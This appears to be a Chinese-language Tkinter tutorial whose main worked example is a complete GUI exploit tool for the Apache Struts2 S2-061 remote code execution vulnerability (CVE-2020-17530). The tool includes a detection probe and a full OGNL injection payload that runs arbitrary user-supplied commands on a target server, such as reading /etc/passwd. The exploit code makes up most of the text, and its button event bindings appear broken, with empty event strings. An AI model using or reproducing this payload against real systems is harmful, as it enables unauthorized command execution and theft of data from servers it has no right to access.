创建一个GUI程序的步骤
从实例中来学习Tkinter的使用,理解其中的各种控件的使用方法
import tkinter
root = tkinter.Tk() #初始化
root.title("python学习") #标题
root.minsize(600,300) #窗口打开时默认大小
root.mainloop() #进入消息循环,没有这个则不会弹出GUI窗口
程序运行后如下
Tkinter的提供各种控件,如按钮,标签和文本框,一个GUI应用程序中使用。这些控件通常被称为控件或者部件。
目前有15种Tkinter的部件。
控件 | 描述 |
---|---|
Button | 按钮控件;在程序中显示按钮。 |
Canvas | 画布控件;显示图形元素如线条或文本 |
Checkbutton | 多选框控件;用于在程序中提供多项选择框 |
Entry | 输入控件;用于显示简单的文本内容 |
Frame | 框架控件;在屏幕上显示一个矩形区域,多用来作为容器 |
Label | 标签控件;可以显示文本和位图 |
Listbox | 列表框控件;在Listbox窗口小部件是用来显示一个字符串列表给用户 |
Menubutton | 菜单按钮控件,用于显示菜单项。 |
Menu | 菜单控件;显示菜单栏,下拉菜单和弹出菜单 |
Message | 消息控件;用来显示多行文本,与label比较类似 |
Radiobutton | 单选按钮控件;显示一个单选的按钮状态 |
Scale | 范围控件;显示一个数值刻度,为输出限定范围的数字区间 |
Scrollbar | 滚动条控件,当内容超过可视化区域时使用,如列表框。. |
Text | 文本控件;用于显示多行文本 |
Spinbox | 输入控件;与Entry类似,但是可以指定输入范围值 |
tkMessageBox | 用于显示你应用程序的消息框。 |
文本框Entry用来让用户输入一行文本字符串
标签控件(Label)指定的窗口中显示的文本或图像。就显示文字
import tkinter
root = tkinter.Tk()
root.title("python学习") #标题
root.minsize(600,300) #窗口打开时默认大小
#创建输入框
w = tkinter.Entry(root)
w.place(relx=0.16,rely=0.20,width=250,height=20) #relx距离左边框的距离,rely距离上边框的距离
#创建文本
w1= tkinter.Label(root,text="hello")
w1.place(relx=0.09,rely=0.20)
root.mainloop() #进入消息循环,没有这个则不会弹出GUI窗口
还是直接通过例子来理解吧
import tkinter
from tkinter import END
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
import sys
import re
#创建操作窗口
root = tkinter.Tk()
root.title("Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)—— 辰辰啊")
root.minsize(800,400) #窗口默认打开时的大小
#创建url输入框
label1 = tkinter.Label(root,text="url")
label1.place(relx=0.07,rely=0.15) #relx距离左边框的距离, rely距离上边框的距离
entry1 = tkinter.Entry(root)
entry1.place(relx = 0.115, rely = 0.15, width = 280, height = 20)
#创建命令框
label2 = tkinter.Label(root,text="命令")
label2.place(relx=0.07,rely=0.25) #relx距离左边框的距离, rely距离上边框的距离
entry2 = tkinter.Entry(root)
entry2.place(relx = 0.115, rely = 0.25, width = 240, height = 20)
#创建响应框
label3 = tkinter.Label(root, text= "响应")
#源码 字体的位置
label3.place(relx = 0.07, rely = 0.4)
text3 = tkinter.Text(root)
#源码 输入框的位置大小
text3.place(relx = 0.115, rely = 0.4, width = 520, height = 170)
#创建检测按钮
button1 = tkinter.Button(root, text="检测")
button1.place(relx = 0.58, rely = 0.14, width = 80)
#创建命令执行按钮
button2 = tkinter.Button(root, text="命令执行")
button2.place(relx = 0.58, rely = 0.25, width = 80)
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
count = False
def poc(self):
global url
url = entry1.get() #获取entry1输入框值中的值赋给url变量
if not url:
no = "请输入目标url"
text3.delete('1.0','end') #执行到这里我们将text3文本框中的内容清除,删除还有一种方式为xx.delete(0,END)。这两种哪种能用就用哪种xx.delete(0,END)需要先导入from tkinter import END 才行
text3.insert('insert',no) #将变量no的值插入到text3中,即在text3中回显
else:
if url.startswith('http://') or url.startswith('https://'):
global count
count = False
vul_url = url + '/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d'
try:
text = requests.get(vul_url,headers=headers,timeout=4,verify=False).text
if '2041' in text:
a = "存在(CVE-2020-17530)Struts2 S2-061 远程命令执行漏洞"
entry2.delete(0,END) #这里不能使用('1.0','end')
text3.delete('1.0','end')
text3.insert('insert',a)
count = True
print(a)
else:
b = "漏洞不存在"
text3.delete('1.0','end')
text3.insert('insert',b)
except Exception as error:
a = "漏洞不存在"
text3.delete('1.0','end') #不能用0,END
text3.insert('insert',a)
else:
no = "url请包含http或https"
text3.delete('1.0','end')
text3.insert('insert',no)
def exp(self):
if count:
id = "cat /etc/passwd"
x = "?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27"
y = entry2.get()
z = "%27}).(%23res%3d%23exec.exec(%23cmd))}"
exp_url = url + x + y + z
response = requests.get(exp_url,headers=headers,timeout=5,verify=False).text
res = re.findall('id="(.*?)"',response,re.S)
res = res[0].replace('\n','')
text3.delete('1.0','end')
text3.insert('insert',res)
else:
error = "漏洞不存在,无法执行命令"
text3.delete('1.0','end')
text3.insert('insert',error)
button1.bind("", poc ) #点击按钮时触发的行为,这里调用了poc函数。即点击按钮时只会调用这个函数,函数外的语句不会执行
button2.bind("", exp ) #点击按钮时触发行为
root.mainloop()